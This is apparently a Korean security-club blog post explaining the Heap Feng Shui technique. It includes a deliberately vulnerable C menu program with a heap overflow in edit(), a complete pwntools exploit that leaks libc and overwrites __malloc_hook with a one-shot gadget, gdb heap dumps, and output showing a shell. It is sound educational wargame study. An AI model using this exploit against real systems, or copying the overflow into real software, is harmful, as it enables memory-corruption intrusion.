일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
- The Loard of BOF
- SWEA
- 자료구조 복습
- 숙명여자대학교 정보보안동아리
- hackctf
- BOJ
- 숙명여자대학교 정보보안 동아리
- 드림핵
- 파이썬
- hackerrank
- 생활코딩
- Javascript
- CSS
- 머신러닝
- 기계학습
- WarGame
- BOJ Python
- c
- HTML
- C언어
- PHP 웹페이지 만들기
- Python
- 풀이
- XSS Game
- siss
- 백준
- lob
- c++
- 웹페이지 만들기
- Sookmyung Information Security Study
- Today
- Total
혜랑's STORY
[Dreamhack] Heap Allocator Exploit : Heap Feng Shui 본문
[Dreamhack] Heap Allocator Exploit : Heap Feng Shui
hyerang0125 2021. 10. 8. 16:33우분투 버전이 16.04라 tcache를 실행할 수 없어 드림핵에 있는 자료를 가져와서 사용함!!
Heap Feng Shui
힙의 레이아웃을 조작하여 원하는 객체를 덮어쓸 수 있게 하는 기법
리얼 월드에서는 프로그램의 코드가 큰만큼 동적 할당도 많이 이루어지기 때문에 힙 오버플로우 취약점이 있다하더라도 힙 원하는 객체를 덮어쓰는 것이 쉽지 않다. 덮어쓸 객체의 낮은 주소에 힙 오버플로우가 발생하는 힙을 할당하여 덮어써야 한다.
C++의 경우 특정 클래스가 불리면 생성자가 호출되고, vtable이 힙과 같은 특정 메모리에 할당이 될 것이다. 이때 힙 오버플로우 취약점을 이용하여 vtable 객체를 덮기 위해서는 해당 객체보다 낮은 주소에 힙을 할당하여야 한다.
// gcc -o fengshui1 fengshui1.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int add();
int del();
int edit();
int show();
char *ptr[20];
int ptr_size[20];
int heap_idx = 0;
int main()
{
int idx;
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while(1) {
printf("1. Add\n");
printf("2. Del\n");
printf("3. Edit\n");
printf("4. Show\n");
printf("> ");
scanf("%d",&idx);
switch(idx) {
case 1:
add();
break;
case 2:
del();
break;
case 3:
edit();
break;
case 4:
show();
break;
default:
printf("Bye\n");
exit(0);
}
}
return 0;
}
int add() {
int size;
if(heap_idx >= 20 ) {
exit(0);
}
printf("Size: ");
scanf("%d",&size);
ptr_size[heap_idx] = size;
ptr[heap_idx] = (char *)malloc(size);
heap_idx++;
return 0;
}
int del() {
int idx;
printf("idx: ");
scanf("%d",&idx);
if(idx >= 20) {
exit(0);
}
free(ptr[idx]);
ptr[idx] = 0;
return 0;
}
int edit() {
int idx;
printf("idx: ");
scanf("%d", &idx);
if(idx >= 20) {
exit(0);
}
printf("Data: ");
read(0, ptr[idx], ptr_size[idx]+100);
return 0;
}
int show() {
int idx;
printf("idx: ");
scanf("%d", &idx);
if(idx >= 20) {
exit(0);
}
printf("Data: %s", ptr[idx]);
return 0;
}
위 코드는 이전에 다룬 예제들과 비슷하며, 힙 오버플로우 취약점이 존재한다. 힙 오버플로우가 존재하는 힙 청크 뒤에 다른 힙을 할당, 해제하여 Heap Feng Shui로 FD를 덮어써서 공격할 수 있다.
익스플로잇 시나리오는 다음과 같다.
- 할당할 때 메모리를 초기화 하지 않ㅎ기 때문에 unsorted bin에 들어간 힙의 경우 main_arena 영역의 주소가 FD, BK 위치에 쓰여진다. 이를 통해 라이브러리 주소를 릭 할 수 있다. tcache의 경우 large bin 크기의 힙은 처리하지 않기 대문에 큰 사이즈의 힙을 할당, 해제하여 unsorted bin을 만들 수 있다.
- tcache에서 허용하는 힙의 크기를 할당, 해제한다. 이때, Heap Feng Shui를 사용하여 다른 힙 객체를 덮어쓸 수 있게 힙 레이아웃을 구성한다.
- 힙 오버플로우를 통해 다른 객체릐 FD를 __malloc_hook으로 조작하여, __malloc_hook 변수 위치에 힙을 할당할 수 있게 하고, edit 함수를 사용하여 __malloc_hook을 원샷 가젯의 주소로 덮어쓴다.
- malloc 함수를 호출하여 셸을 획득한다.
# fengshui1.py
from pwn import *
p = process("./fengshui1")
def add(size):
print p.sendlineafter(">","1")
print p.sendlineafter(":",str(size))
def delete(idx):
print p.sendlineafter(">","2")
print p.sendlineafter(":",str(idx))
def edit(idx,data):
print p.sendlineafter(">","3")
print p.sendlineafter(":",str(idx))
print p.sendlineafter(":",str(data))
def show(idx):
print p.sendlineafter(">","4")
print p.sendlineafter(":",str(idx))
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# tcache escape main_arena leak
add(0x10) # 0
add(0x1000) # 1
add(0x1000) # 2
delete(1)
add(0x1000) # 3
show(3)
print p.recvuntil("Data: ")
libc_leak = u64(p.recv(6).ljust(8,"\x00"))
libc_base = libc_leak - 0x3ebca0
malloc_hook = libc_base + libc.symbols['__malloc_hook']
oneshot = libc_base + 0x10a38c
print hex(libc_leak)
print hex(libc_base)
# heap fengshui & overflow
add(32) # 4
add(32) # 5
add(32) # 6
delete(6)
delete(4)
add(32) # 7
payload = "A"*32
payload += p64(0)
payload += p64(0x31)
payload += "A"*32
payload += p64(0)
payload += p64(0x31)
payload += p64(malloc_hook)
edit(7, payload)
add(32) # 8
add(32) # 9
edit(9,p64(oneshot))
add(32)
p.interactive()
위 코드의 설명은 다음과 같다.
[line 27 ~ 45]
tcache는 large bin 크기의 힙을 tcache_entry에 추가하지 않기 때문에 큰 크기의 힙을 할당하고, 해제하면 unsorted bin이 되어 main_arena 영역의 주소를 획득할 수 있다.
메뉴를 고르는 main+155에 bp를 걸어주었다.
gdb-peda$ heapinfoall
=================== Thread 1 ===================
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x18aa290 (size : 0x1ed70)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x18a8270 (size : 0x1010)
gdb-peda$ x/10gx 0x18a8270
0x18a8270: 0x0000000000000000 0x0000000000001011
0x18a8280: 0x00007f95c70b6ca0 0x00007f95c70b6ca0
해제 했을 때 unsorted bin에 0x1010 크기의 힙이 들어간 것을 확인할 수 있다.
또한 FD, BK에 main_arena 영역의 주소가 쓰여졌다.
해당 bin의 크기와 같은 크기로 할당을 하여 해당 영역을 재사용 한 뒤에, show 함수를 사용하면 main_arena 영역의 주
소를 릭 할 수 있다. 라이브러리의 베이스 주소를 계산하고, 이후에 FD를 __malloc_hook으로 덮기 위해 주소를 구한다.
[line 48 ~ 56]
힙 오버플로우를 이용하여 다른 힙 영역을 덮어야 하므로 3개의 청크를 할당하고, 여섯 번째와 네 번째 힙을 해제한다. 두 개의 힙을 해제하는 이유는 Heap Feng Shui로 다른 객체를 덮기 위함이다.
여섯 번째 힙을 해제하면서, FD에 주소가 쓰여질 것이고, 다음에 힙을 할당될 때 쓰여진 주소에 힙이 할당될 것이다. 네 번째 힙을 해제하고 할당하게 되면, 3개의 힙 중 제일 앞에 있는 영역에 힙이 할당되기 때문에 힙 오버플로우를 발생시키면 뒤에 존재하는 해제된 여섯 번째 힙의 FD를 덮어쓸 수 있게 된다.
gdb-peda$ heapinfoall
=================== Thread 1 ===================
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x18aa320 (size : 0x1ece0)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x30) tcache_entry[1](2): 0x18aa2a0 --> 0x18aa300
0x18aa290: 0x0000000000000000 0x0000000000000031
0x18aa2a0: 0x00000000018aa300 0x0000000000000000
0x18aa2b0: 0x0000000000000000 0x0000000000000000
0x18aa2c0: 0x0000000000000000 0x0000000000000031
0x18aa2d0: 0x0000000000000000 0x0000000000000000
0x18aa2e0: 0x0000000000000000 0x0000000000000000
0x18aa2f0: 0x0000000000000000 0x0000000000000031
0x18aa300: 0x0000000000000000 0x0000000000000000
0x18aa310: 0x0000000000000000 0x0000000000000000
0x18aa320: 0x0000000000000000 0x000000000001ece1
같은 bin 크기의 힙을 할당하면 다음과 같다.
gdb-peda$ heapinfoall
=================== Thread 1 ===================
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x18aa320 (size : 0x1ece0)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x30) tcache_entry[1](1): 0x18aa300
0x18aa2a0 주소에 힙을 새로 할당하고 힙 오버플로우가 발생하면 뒤에 존재하느느 0x18aa2c0, 0x18aa2f0 힙 영역을 덮어 쓸 수 있다.
현재 tcache_entry는 0x18aa300 주소를 가리키고 있다. 힙 오버플로우를 통해 0x18aa300 주소에 값을 쓰게되면 FD를 덮어써서 원하는 영역에 힙을 할당할 수 있게 된다.
[line 58 ~ 65]
Heap Feng Shui를 통해 edit 함수에 존재하는 힙 버퍼 오버플로우 취약점으로 0x18aa300 주소, 즉, FD를 __malloc_hook 주소로 조작하였다.
gdb-peda$ x/100gx 0x18aa300-0x80
0x18aa280: 0x0000000000000000 0x0000000000000000
0x18aa290: 0x0000000000000000 0x0000000000000031
0x18aa2a0: 0x4141414141414141 0x4141414141414141
0x18aa2b0: 0x4141414141414141 0x4141414141414141
0x18aa2c0: 0x0000000000000000 0x0000000000000031
0x18aa2d0: 0x4141414141414141 0x4141414141414141
0x18aa2e0: 0x4141414141414141 0x4141414141414141
0x18aa2f0: 0x0000000000000000 0x0000000000000031
0x18aa300: 0x00007f95c70b6c30 0x000000000000000a
0x18aa310: 0x0000000000000000 0x0000000000000000
0x18aa320: 0x0000000000000000 0x000000000001ece1
gdb-peda$ heapinfoall
=================== Thread 1 ===================
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x18aa320 (size : 0x1ece0)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x30) tcache_entry[1](1): 0x18aa300 --> 0x7f95c70b6c30
0x30 bin 크기의 힙을 두 번 할당하면 조작한 FD인 __malloc_hook에 할당할 수 있게 된다.
[line 68 ~ 69]
8번째 힙을 할당하면 tcache_entry는 __malloc_hook 주소를 가리키게 된다.
gdb-peda$ heapinfoall
=================== Thread 1 ===================
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x18aa320 (size : 0x1ece0)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x30) tcache_entry[1](0): 0x7f95c70b6c30
9번째 힙을 할당하면 아래와 같이 __malloc_hook에 할당되는 것을 확인할 수 있다.
gdb-peda$ i var ptr
0x00000000006020a0 ptr_size
0x0000000000602120 ptr
0x00007f95c70b7860 __start___libc_freeres_ptrs
0x00007f95c70b79f8 __stop___libc_freeres_ptrs
gdb-peda$ x/20gx 0x0000000000602120
0x602120 <ptr>: 0x00000000018a8260 0x0000000000000000
0x602130 <ptr+16>: 0x00000000018a9290 0x00000000018a8280
0x602140 <ptr+32>: 0x0000000000000000 0x00000000018aa2d0
0x602150 <ptr+48>: 0x0000000000000000 0x00000000018aa2a0
0x602160 <ptr+64>: 0x00000000018aa300 0x00007f95c70b6c30
__malloc_hook에 할당이 되었다.
[line 71 ~ 72]
9번째 힙이 __malloc에 할당 되었기 때문에 edit 함수로 해당 영역에 원샷 가젯의 주소를 쓰게 되면 다음 malloc 함수 호출 시 셸을 획득할 수 있다.
gdb-peda$ p __malloc_hook
$4 = (void *(*)(size_t, const void *)) 0x7fa5214f438c <exec_comm+2508>
다음은 fenshui1.py의 실행 결과이다.
$ python fengshui1.py
[+] Starting local process './fengshui1': pid 104775
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
1. Add
2. Del
3. Edit
4. Show
...
idx
Data:
0x7f47c558cca0
0x7f47c51a1000
...
4. Show
Size
[*] Switching to interactive mode
$ id
uid=1001(theori) gid=1001(theori) groups=1001(theori)
$
'2021 SISS 21기 활동 > 2학시 시스템' 카테고리의 다른 글
[Dreamhack Wargame] hook (0) | 2021.11.21 |
---|---|
[Dreamhack Wargame] basic_heap_overflow (0) | 2021.11.21 |
[Dreamhack Wargame] house_of_force (0) | 2021.10.02 |
[Dreamhack] Heap Allocator Exploit : House of Force (0) | 2021.10.02 |
[HC 2021] welcome (0) | 2021.09.26 |